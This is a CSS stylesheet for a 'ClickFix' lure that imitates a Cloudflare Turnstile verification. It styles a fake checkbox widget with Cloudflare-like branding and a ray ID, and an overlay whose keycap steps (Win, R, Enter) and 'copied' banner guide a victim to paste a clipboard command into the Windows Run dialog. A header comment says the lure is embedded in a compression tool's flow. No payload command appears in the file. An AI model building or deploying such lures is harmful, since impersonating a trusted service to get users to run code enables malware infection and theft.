/* ============================================================
   ClickFix — Cloudflare-style device verification
   Scoped clone of the clickfix-cloudflare Turnstile + Win+R
   verifier, adapted to run inside the compression flow.
   All class names are cf- prefixed to avoid collisions.
   ============================================================ */

/* ---------- inline turnstile widget (inside working view) ---------- */
.cfw {
  --cf-fg: #313131;
  --cf-muted: #6d6d6d;
  --cf-line: #e3e3e3;
  --cf-line2: #d6d6d6;
  --cf-orange: #f6821f;
  --cf-green: #0d9d58;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  color: var(--cf-fg);
  user-select: none;
  margin-top: 20px;
  animation: cf-in .35s cubic-bezier(.2, .8, .2, 1);
}
.cfw[hidden] { display: none; }
@keyframes cf-in {
  from { opacity: 0; transform: translateY(8px); }
  to { opacity: 1; transform: none; }
}

.cf-cloud { width: 44px; height: 44px; margin: 0 auto 10px; display: block; }
.cf-sub { font-size: 13px; color: var(--cf-muted); margin: 0 0 12px; }

.cf-widget {
  position: relative;
  display: flex;
  align-items: center;
  justify-content: space-between;
  width: 300px;
  height: 64px;
  padding: 0 12px;
  background: #fdfdfd;
  border: 1px solid var(--cf-line);
  border-radius: 4px;
  box-shadow: 0 1px 2px rgba(0, 0, 0, .04);
  transition: border-color .15s;
}
.cf-widget:hover { border-color: var(--cf-line2); }
.cf-left { display: flex; align-items: center; gap: 10px; min-width: 0; }

.cf-cbx {
  -webkit-appearance: none;
  appearance: none;
  flex: none;
  width: 24px; height: 24px;
  border: 2px solid #b9b9b9;
  border-radius: 2px;
  background: #fff;
  cursor: pointer;
  position: relative;
  transition: .15s;
  padding: 0;
  margin: 0;
}
.cf-cbx:hover { border-color: #8f8f8f; }
.cf-cbx:focus-visible { outline: 2px solid #a9c7ff; outline-offset: 2px; }
.cf-cbx:disabled { cursor: default; }

.cf-label {
  font-size: 13.5px;
  color: #3b3b3b;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}
.cf-right { display: flex; flex-direction: column; align-items: center; gap: 3px; flex: none; }
.cf-right svg { width: 26px; height: 26px; opacity: .9; }
.cf-brand { font-size: 8px; letter-spacing: .14em; color: #b0b0b0; font-weight: 600; }

.cf-widget.cf-busy .cf-cbx { border-color: #dcdcdc; }
.cf-widget.cf-busy .cf-cbx::after {
  content: "";
  position: absolute;
  inset: -2px;
  border-radius: 50%;
  border: 2px solid #e6e6e6;
  border-top-color: var(--cf-orange);
  animation: cf-spin .75s linear infinite;
}
@keyframes cf-spin { to { transform: rotate(360deg); } }

.cf-widget.cf-ok .cf-cbx { background: var(--cf-green); border-color: var(--cf-green); }
.cf-widget.cf-ok .cf-cbx::after {
  content: "";
  position: absolute;
  left: 6px; top: 2px;
  width: 6px; height: 12px;
  border: solid #fff;
  border-width: 0 2.5px 2.5px 0;
  transform: rotate(45deg);
}
.cf-label.cf-ok { color: var(--cf-green); font-weight: 600; }

.cf-meta { margin: 14px 0 0; font-size: 12px; color: #9a9a9a; line-height: 1.6; }
.cf-ray {
  font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;
  font-size: 11.5px;
  color: #a8a8a8;
}

/* ---------- Win+R verifier overlay ---------- */
.cfo {
  position: fixed;
  inset: 0;
  z-index: 200;
  display: grid;
  place-items: center;
  background: rgba(24, 24, 27, .55);
  backdrop-filter: blur(3px);
  -webkit-backdrop-filter: blur(3px);
  opacity: 0;
  transition: opacity .2s ease;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
}
.cfo[hidden] { display: none; }
.cfo.cf-in { opacity: 1; }

.cf-card {
  width: min(470px, calc(100vw - 32px));
  background: #fff;
  border-radius: 12px;
  box-shadow: 0 24px 60px -12px rgba(0, 0, 0, .35), 0 0 0 1px rgba(0, 0, 0, .06);
  padding: 22px 22px 18px;
  transform: translateY(8px) scale(.985);
  transition: transform .22s cubic-bezier(.2, .8, .2, 1);
}
.cfo.cf-in .cf-card { transform: none; }

.cf-head { display: flex; align-items: flex-start; gap: 12px; margin-bottom: 16px; }
.cf-headbadge {
  flex: none;
  width: 34px; height: 34px;
  border-radius: 9px;
  display: grid;
  place-items: center;
  background: #fff4e8;
  color: #f6821f;
  font-size: 17px;
  font-weight: 700;
}
.cf-card h2 {
  font-family: inherit;
  font-size: 16px;
  margin: 0 0 3px;
  letter-spacing: -.01em;
  line-height: 1.3;
  font-weight: 600;
  color: #111;
}
.cf-lede { font-size: 13px; color: #6d6d6d; margin: 0; line-height: 1.45; }

.cf-steps { list-style: none; margin: 0 0 16px; padding: 0; display: grid; gap: 10px; }
.cf-steps li {
  display: flex;
  align-items: center;
  gap: 10px;
  font-size: 13px;
  color: #3d3d3d;
  padding: 9px 10px;
  border: 1px solid #ededed;
  border-radius: 9px;
  background: #fafafa;
}
.cf-txt { flex: 1; line-height: 1.3; }
.cf-txt b { font-weight: 600; color: #111; }
.cf-keys { display: flex; align-items: center; gap: 4px; flex: none; }
.cf-kc {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  min-width: 30px;
  height: 28px;
  padding: 0 7px;
  border: 1px solid #cfcfcf;
  border-bottom-width: 3px;
  border-radius: 6px;
  background: linear-gradient(#fff, #efefef);
  color: #1f1f1f;
  font: 600 12px/1 ui-sans-serif, system-ui, sans-serif;
  box-shadow: inset 0 1px 0 #fff;
  white-space: nowrap;
}
.cf-kc.cf-win { min-width: 52px; font-size: 11.5px; }
.cf-kc.cf-enter { min-width: 58px; background: linear-gradient(#fff, #e9f6ee); border-color: #b9dcc7; color: #0b7a44; }
.cf-plus { color: #a5a5a5; font-size: 11px; padding: 0 1px; }

.cf-copied {
  display: flex;
  align-items: center;
  gap: 8px;
  margin: 0 0 14px;
  padding: 9px 11px;
  border: 1px solid #e4f1e9;
  border-radius: 8px;
  background: #f6fbf8;
  font-size: 12.5px;
  color: #0b7a44;
}
.cf-tick { font-size: 13px; line-height: 1; }
.cf-copied.cf-pulse { animation: cf-pulse .5s ease; }
@keyframes cf-pulse {
  0% { transform: scale(.985); opacity: .6; }
  100% { transform: none; opacity: 1; }
}

.cf-foot { display: flex; align-items: center; justify-content: space-between; gap: 12px; min-height: 36px; }
.cf-status { display: flex; align-items: center; gap: 8px; font-size: 12px; color: #7d7d7d; }
.cf-dim { color: #a9a9a9; }
.cf-spin {
  width: 13px; height: 13px;
  flex: none;
  border-radius: 50%;
  border: 2px solid #ececec;
  border-top-color: #f6821f;
  animation: cf-spin .8s linear infinite;
}
.cf-verifybtn {
  border: 0;
  border-radius: 7px;
  background: #111;
  color: #fff;
  cursor: pointer;
  font: 600 12px/1 inherit;
  padding: 9px 14px;
  flex: none;
  opacity: 0;
  transform: translateY(6px);
  pointer-events: none;
  transition: opacity .25s ease, transform .25s ease;
}
.cf-verifybtn[hidden] { display: none; }
.cf-verifybtn.cf-show { opacity: 1; transform: none; pointer-events: auto; }
.cf-verifybtn:hover { opacity: .88; }

@media (prefers-reduced-motion: reduce) {
  .cfw, .cfo, .cf-card, .cf-cbx, .cf-spin, .cf-verifybtn, .cf-copied {
    animation: none !important;
    transition: none !important;
  }
}
